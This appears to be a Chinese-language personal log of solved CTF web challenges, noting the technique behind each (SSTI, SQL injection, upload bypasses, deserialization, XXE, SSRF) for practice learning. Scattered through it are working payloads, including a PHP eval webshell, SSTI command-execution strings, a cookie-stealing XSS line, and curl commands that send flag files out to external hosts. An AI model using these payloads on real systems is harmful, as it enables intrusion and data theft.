web刷题记录
- BJDCTF2020
- BJDCTF 2nd
- GXYCTF2019
- 强网杯2019
- CISCN2019
- FBCTF2019
- BSidesCF 2019
- HarekazeCTF2019
- RCTF2015
- SWPU2019
- SWPU2018
- EIS 2019
- GYCTF2020
- 安洵杯 2019
- 网鼎杯
- b01lersCTF 2020
- Zer0ptsCTF 2020
- GWCTF2019
- V&N2020 公开赛
- VolgaCTF 2020 Qualifier
- NCTF2019
- watevrCTF-2019
学Amadeus搞个刷题记录(其实是懒得写wp了)
BJDCTF2020
EasySearch
- index.php.swp源码泄露
- 爆破md5
- ssi注入
Mark loves cat
- 变量覆盖,exit的时候输出flag
The mystery of ip
- smarty ssti,{{system("cat /flag")}}命令执行
Cookie is so stable
- twig ssti 命令执行{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
ezPHP
$_SERVER['QUERY_STRING']
url编码绕过%0a
绕过正则- 利用
$_REQUEST
解析顺序 - data伪协议
- 数组绕过sha1比较
- create_function()代码注入
get_defined_vars()
获取所有变量值- 字符串异或和取反
ZJCTF,不过如此
preg_replace()
代码执行
BJDCTF 2nd
fake google
- flask的ssti模板注入
old-hack
- thinkphp rce直接打
duangShell
- curl无回显命令执行
简单注入
- 无
'
情况下用\
注入 - 无
select
无堆叠注入,但能拿到当前用的表的数据
xss之光
- 这题….直接反序列化一个字符串
<script>window.location.href='xxxx'+document.cookie</script>
就行 - 预期解是反序列化
Exception
类,利用__toString()
造成xss
文件探测
- php
srpintf
格式化字符串漏洞,可以用%
将后面的%d
转义 - AES加密,密钥已知,明文是一个放在session中的随机字符串,并且难以破解。但可以不带
PHPSESSID
访问使明文为空,即可算出对应密文
GXYCTF2019
BabyUpload
- 上传.htaccess改变文件解析
1
SetHandler application/x-httpd-php
- 老版php标签
1
<script language='php'>eval($_REQUEST['LionTree'])</script>
- 这题搞了个2048字节的限制。。结果正常的图片一张都传不上去。。无语
StrongestMind
- 写个脚本算术即可
强网杯2019
upload
- GIF89a绕过
getimagesize
- 文件上传使用了
copy
而不是move_uploaded_file
,利用反序列化去将已上传的webshell改为.php
后缀 - 反序列化exp记得写命名空间。。忘了这个折腾半天
CISCN2019
华北赛区 Day1 Web5 CyberPunk
- 二次注入
华东南赛区 Web11
- smarty ssti,{{system("cat /flag")}}命令执行
华东南赛区 Double Secret
- flask ssti
- flask debug模式安全
华东北赛区 web2
- xss 中
<svg>
标签的使用,使后面的特殊符号能够用html实体替代
Web4
urllib.urlopen
任意文件读取,^file.*
禁了file协议,有三种绕过- 空格+
file://
- CVE-2019-9948,
local_file://
- 直接
app.py
读到源码
- 空格+
- 伪随机数通过读取
1
2random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)/sys/class/net/eth0/address
得到mac地址,能够算出uuid.getnode()
的值,爆破可以得到SECRET_KEY - 客户端session安全
FBCTF2019
RCEService
- PCRE回溯次数绕过
- 非预期解,利用换行符绕过
- 黑盒考这个是真想不到。。
BSidesCF 2019
Futurella
- 右键查看源代码..
Kookie
- 登陆后改cookie
Pick Tac Toe
- 直接发包可以覆盖对手走过的地方
- 正常下还真是下不过电脑..
Had a bad day
- 文件包含
不存在的/../flag
SVGMagic
- 将xxe payload伪装成svg文件
1
2
3
4
5
6
7
<svg height="100" width="1000">
<text x="10" y="20">&file;</text>
</svg> - flag在/proc/self/cwd/flag.txt…
HarekazeCTF2019
encode_and_encode
- 利用json_decode会自动将utf8编码解码
RCTF2015
EasySQL
- 找回密码的地方二次注入
- 这里用了很少见到的
"
而不是'
- 测试的时候可以直接用
'"\
这样的组合,一次确定是否存在注入 - 比较坑的是给了个没用的phpinfo,还以为要sql注入写文件覆盖opcache
SWPU2019
Web4
- 无回显情况下的堆叠注入
- 可以用
;
检测堆叠注入 - prepare statement 绕过关键词过滤
- 变量覆盖导致的文件读取
Web3
- flask前端session伪造
- 上传软链接读取敏感文件
- linux下利用
&
多语句命令执行 /proc/self/cwd/
读取当前进程路径下的文件/proc/self/environ
获取当前进程环境变量,得到flask绝对路径- curl 外带
@
读文件 - awk声明无法使用的字符
1
(III=`awk 'BEGIN{printf \"%c\", 47}'`&&curl xxx.xxx.xxx.xxx:9999 -T `echo ${III}ctf${III}hgfjakshgfuasguiasguiaaui${III}myflask${III}flag${III}flag.jpg`).zip
Web6
select with rollup
注入- session原生类反序列化,soap ssrf
SWPU2018
SimplePHP
- phar反序列化
- phar反序列化记得用绝对路径。。又被这个坑了
EIS 2019
EzPOP
- php伪协议去除死亡exit
GYCTF2020
Node Game
- nodejs
http.get
设计缺陷,通过Request Splitting造成ssrf - pug模板命令执行
1
- global.process.mainModule.require('child_process').execSync('curl http://174.1.29.57/ -X POST -d `cat /flag.txt`')
Ezsqli
- 在无
information_schema
的情况下利用sys库获取表名 - 无
union select
的情况下无列名注入1
1-((select 'a') = (select substr(group_concat(table_name),1,1) from sys.schema_table_statistics_with_buffer where table_schema=database()))
- 看smile师傅的出题笔记还有一个考点是mysql在比较时不区分大小写,需要用
CONCAT("A", CAST(0 AS JSON))
强制进行字节对字节的比较。不过buu上的环境不知道为啥用不了CAST,而且flag里也没有大写字母
安洵杯 2019
不是文件上传
- insert注入反序列化序列
- 文件名中不能有双引号,需要用16进制插入数据库中
网鼎杯
Unfinish
- register.php直接可以盲注,过滤了
,
和information
,
可以用case when
绕过- 尝试用innodb的表和sys中的表都没成功,看网上wp都是盲猜存在flag表做的…
- 还有一种做法是注册的时候将想要的内容放入username中,登录查看
- 可以利用两次hex后是纯数字的特性进行二次注入
1
0'%2B(select hex(hex(database())))%2B'0
- 可以利用两次hex后是纯数字的特性进行二次注入
b01lersCTF 2020
life_on_mars
- 长知识了..第一次见在from位置的注入,黑盒下一脸懵逼..
1
cur.execute("SELECT name, description FROM " + search)
Zer0ptsCTF 2020
Can you guess it?
$_SERVER['PHP_SELF']
可控,index.php/config.php
会访问index.php,但$_SERVER['PHP_SELF']
会是index.php/config.php
basename()
函数缺陷,会把文件名开头的非ASCII值丢掉
notepad
- flask ssti读取secret_key
- 通过session进行pickle反序列化
- 无法弹shell,使用sleep无回显命令执行
urlapp
- redis CRLF注入
- redis
BITOP
指令,对key做位运算,并把结果保存到新key里 - redis
setbit
指令,改变key的某一位
MusicBlog
strip_tags()
缺陷,允许在标签名中存在/
- 注入
<a/udio id="like" href=http://xxxx>
,会被解析成<a>
标签,绕过csp - 不知道为啥在buu上nc收不到数据,需要用requestbin
phpNantokaAdmin
- sqlite注入
- sqlite的
sqlite_master
中保存了所有表名以及创建表时的create语句 - 在创建表时可以用as来复制另一个表中的数据
as "..."
将原有的干扰字符闭合到查询的别名里- sqlite
[]
替代双引号
GWCTF2019
你的名字
- flask的SSTI,但是返回的是php的报错…wp上说能用http头判断但buu上的环境只有一个
server:openrestry
,根本看不出来… - 过滤了 {{ ,并且会把一些关键字替换为空,使用 {% 加双写绕过 {% iconfigf ''.__claconfigss__.__mconfigro__[2].__subclasconfigses__()[59].__init__.func_glconfigobals.linecache.oconfigs.popconfigen('curl "http://xss.buuoj.cn/index.php?do=api%26id=uHi9SZ%26location=`cat /flag_1s_Hera`"') %}1{% endiconfigf %}
V&N2020 公开赛
EasySpringMVC
- java 反序列化时会调用类的
readObject
方法
VolgaCTF 2020 Qualifier
Netcorp
- 幽灵猫读classes目录下的class文件,得到源码,发现存在文件上传
- 上传jsp马后幽灵猫包含
NCTF2019
SQLi
regexp
注入
watevrCTF-2019
Cookie Store
- 改cookie薅羊毛
Pickle Store
- pickle 反序列化